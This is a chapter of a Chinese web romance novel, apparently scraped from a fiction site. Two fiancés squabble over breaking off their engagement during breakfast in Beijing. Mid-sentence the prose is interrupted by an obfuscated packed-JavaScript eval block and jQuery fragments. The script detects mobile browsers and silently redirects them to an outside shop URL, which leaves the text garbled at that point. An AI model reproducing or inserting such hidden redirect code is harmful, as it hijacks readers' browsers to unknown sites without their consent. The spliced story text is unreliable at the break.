文趣网 > 都市小说 > 甜心小笨蛋被管教的日常 > 5. 第 5 章
    看着岑照山淡然离开的背影。

    温良玉气得眼眶都红了,睫毛随着呼吸细密的颤动。

    他一脚踢在床尾堆的被子上,还狠狠踩了两脚。

    真丝被面太滑,温良玉肌肤也细腻,脚跟顺着被角滑到床沿,重心失衡。

    柔韧的腰在空中绕了半圈,身体飘带一样丝滑的滚到床下。

    温良玉脑袋被这一下甩得发晕,还有点想吐。

    他猜想多半是昨晚喝酒的后遗症。

    他就是酒量太差了,才反应这么大。以后他要多喝,常喝,定时定量的喝。

    把酒量练起来。

    就能和赵昱一样,在酒吧谈笑风生,点最顶级的男模。

    还不会因为宿醉头疼。

    不行了,地上有点凉。

    温良玉顶着晕乎乎的脑袋又爬回床上,看见自己睡衣袖子上的刺绣小狐狸。

    欸?

    这不是他给自己设计的oc形象吗?

    十四岁的时候,温良玉刚刚接触日漫,沉迷其中无法自拔,给自己设计了一个火狐的形象。

    最中二的几年,他对同学朋友说火狐才是他的本体。

    大哥还请他最爱的漫画作家,给他完善了这个火狐形象。

    但是把小火狐绣在睡衣上这个奇妙的想法,他还是第一次见。

    “欸?欸,欸!!!!”

    温良玉从床上蹦跶下来,跑到镜子前转了个圈。

    真威武。

    这大尾巴好了不起!

    他扯着睡衣下摆看,数十只神色各异的小火狐形态栩栩如生。

    好吧,这是他最爱的睡衣第一名。

    他看见镜中眉飞色舞的自己,脸马上拉下来。

    小把戏!

    岑照山别以为用这些小把戏就能让他回心转意。

    他扯起睡衣的下摆,对着上面的小火狐么么么么么亲了一长串。

    “对不起啊,我是很喜欢你们的,但是你们被坏人利用了,我只能把你们留在这儿。”

    都怪岑照山,未经他允许擅自使用他的oc形象。

    能不能告他侵权啊。

    温良玉认真思考起来。

    oc是他的,但是睡衣是岑照山定做的。

    那这算他们的共同财产呀!

    他们退婚,他完全有理由有资格让岑照山把睡衣赔给他!

    他换上衣服,把衣柜里有小火狐的睡衣都找了个包包装起来,打算去找岑照山分共同财产。

    他雄赳赳气昂昂走出去。

    开放式厨房连着餐桌,飘来水晶虾饺和不知名的咸香。

    他的肚子打出滚滚响雷。

    昨天为了躲避岑照山的追捕,他下飞机七拐八绕去了酒吧。

    喝了一肚子酒饱。

    什么也没吃上。

    他把小手背在背后,一本正经的耀武扬威,“岑照山?我来和你谈谈退婚的财产分割。”

    没有人应他。

    他假装观察环境,往餐桌靠。

    岑照山不知道去哪儿了。

    他围着餐桌转了两圈都没看见。

    但他几乎可以确定!这不一样的咸香味儿就是从这碗黑黑白白的东西里散发出来的。

    他小声嘟囔,“这么丑的东西,怎么那么香呢?”

    真是奇怪。

    反正岑照山也不在,他尝一点,应该不会被发现吧。

    他拿手指蘸了一点黑褐色的酱。颜色反差把他指尖衬得更白,含进软红的唇里。

    砸吧砸吧嘴。

    吁——好咸。

    真难吃。

    不过,咸味儿过去了,好像有点酸,有点辣。

    没尝明白,再来点。

    温良玉又用手指沾了一点点,正往嘴里送。

    “洗手了吗?”

    岑照山不知道从哪儿钻出来,吓得温良玉装着睡衣的包包都掉到了地上。

    手指还贴着下唇,努力装出无事发生的样子,一双杏眼却盛满了惊慌,像只炸毛的小狐狸。

    岑照山向他走来,抽了纸巾给他擦手,“洗漱好了再吃,都是京市的特色早餐,你以前没吃过。”

    温良玉又气又羞,脸通红。

    每次遇上岑照山就没好事!

    他迫不及待想把偷吃的锅甩到岑照山身上,“你去哪儿了!”

    如果岑照山在旁边,他一定不会吃岑照山的早餐。

    但他有点着急,又有点羞愤的语气,听起来就像在埋怨岑照山,为什么留下他一个人。

    岑照山摸摸他脑袋,安抚他,“我刚刚去书房接了个工作电话,本想打完电话叫你起床的。我带你去洗漱,洗好先吃早餐。”

    “我洗了!”温良玉把两只手张开放到贺涧山眼前,恨不得伸到他眼睛里“我早就洗得干干净净的!我才不会用脏手吃东西!”

    岑照山把他当什么人了啊。

    岑照山轻轻扣住他手腕,“好好好,那赶紧坐下吃吧。”

    手掌的温度略高,温良玉被烫着似的,手往回收,却动不了。岑照山的手指太长了,骨节明显,把他的手腕完全圈住,手铐一般。

    他呼呼的挣扎两回,“你不松手我怎么吃啊!”

    岑照山缓缓松开,“坐吧。”

    “你都弄疼我啦!”温良玉嘟起小嘴,夸张的对着手腕上淡淡胭脂色的红痕吹了吹,“这是家暴!我要和我爸妈告你!你准备好负责吧!”

    凝脂似的白皙上一圈白里透红的粉,岑照山指腹在上面轻轻擦过,“好,我负责。”

    温良玉飞快把手缩回去,藏在背后,不再给岑照山碰。

    岑照山把豆腐脑推到他面前,轻轻搅动,卤和滑嫩嫩的豆腐混成一体,“都是京市常见的早点,你刚到京市,吃点本地的东西帮助肠胃适应环境,免得生病。”

    温良玉注意力都在香味上,“这是什么东西?”

    岑照山:“豆腐脑。”

    温良玉噫了一声,“咸的?”

    温良玉在沪市长大,偏向甜口的早餐。

    第一次见咸的豆腐脑,还是黑的。

    这必须得尝尝。

    好吃好吃!

    咸香带着一点酸辣。

    温良玉吃了小半碗,岑照山把小笼包推到他手边,“吃点别的。”

    “嗯嗯。”温良玉点头,然后持之以恒的吃豆腐脑。

    岑照山又给他剥了一个水煮蛋,“吃完,补充蛋白质。”

    “嗯。”温良玉喝了豆腐脑,又去夹油饼。

    很土的早餐,但是他没吃过这个味道。就一个劲儿吃。

    “不许吃了。”岑照山把豆腐脑从他面前拿开,“吃鸡蛋。”

    温良

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923737|213507||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    玉抬起脸,疑惑中带着一点嫌弃,嫌弃中还夹杂着无语,“饭也不给吃?”

    岑昭山把鸡蛋压成小块,用勺子喂到温良玉嘴边,“让你吃当地的早餐是为了防止你水土不服,你跳舞消耗大,身体需要补充蛋白质,营养均衡,不能只吃一样。”

    又来了。

    管天管地。

    温良玉把地上的包包,哐——砸到桌上,“退婚,共同财产归我!”

    岑照山目不斜视,只看着温良玉的眼睛,“吃了鸡蛋,我再和你谈。”

    温良玉烦闷的含住鸡蛋。

    等岑照山转头去夹小笼包的时候,呸,把嘴里的鸡蛋吐到骨碟里。

    岑照山喂一口,他偷偷吐一口。

    这不得气死岑照山。

    想想岑照山发现后的样子,真畅快。

    “吃饱了。”温良玉假装擦嘴,把纸巾盖在自己吐出来的早餐上面,一脸正经,“来说说退婚的事儿,你擅自用了我的oc形象,我不能让小狐狸跟着你,所以睡衣归我,你赶紧去和我爸妈说解除婚约。”

    岑照山:“睡衣本来就是你的,退婚不可能。”

    温良玉真不明白:“为什么?你是古董吗?我们根本没有感情。”

    岑照山:“有,琢琢,我们是有感情的。”

    “够了,别再说我小时候黏着你的事儿了,那会儿我都不知道屎是臭的,我们已经十五年没见过了,这就是陌生人。”

    岑照山沉默一瞬,“对不起,我回来晚了。”

    “啊!!!”温良玉崩溃了,“不是这个事儿啊!是退婚!退婚!”

    岑照山仍旧觉得是温良玉在闹脾气,“以后我会尽量抽时间陪你,琢琢。”

    温良玉趴在桌上,无力重复,“退婚。”

    岑照山站起来收拾餐桌,“不可能。”

    温良玉做事一向是先礼后兵的,既然岑照山听不懂人话。

    那他也有些小妙招。

    岑照山把碗碟放到洗碗机,温良玉就拿筷子敲玻璃杯跟在他后面,十分有节奏的敲击,“退婚,退婚。”

    岑照山充耳不闻。

    温良玉不信岑照山能抗得了太久。

    岑照山走到哪儿,他就敲到哪儿。

    岑照山去书房工作,温良玉更是来劲。

    工作的时候最烦被打扰了。

    岑照山的书桌是L形,桌面堆了许多卷宗和材料,电脑屏幕巨大。

    他高大的身躯往前一坐,就没什么空间给温良玉发挥。

    但温良玉是学古典舞啊。

    什么犄角疙瘩他都能钻进去。

    他拿着玻璃杯和勺子,柔韧的腰拧成刁钻的角度,整个人越过桌面倾探过来,脸蛋几乎要贴到岑照山跟前,“你耳朵聋吗?退婚退婚!”

    单薄衣料衬得腰腹线条软得发晃,满身鲜活的软肉就这么往他眼前送。

    岑照山努力控制着自己,才将视线集中到桌面的卷宗上。

    他的琢琢一双含水的杏眼圆滚滚睁着,说着伤人心的话,却柔软得团棉花。

    努力的想要自己看见他。

    岑照山唇角扬起小小的弧度,几不可查。

    被温良玉捕捉到,温良玉顿时收声。

    该死!!!!

    怎么还给他骂开心了呢?!!!

    这人脑子果然不正常!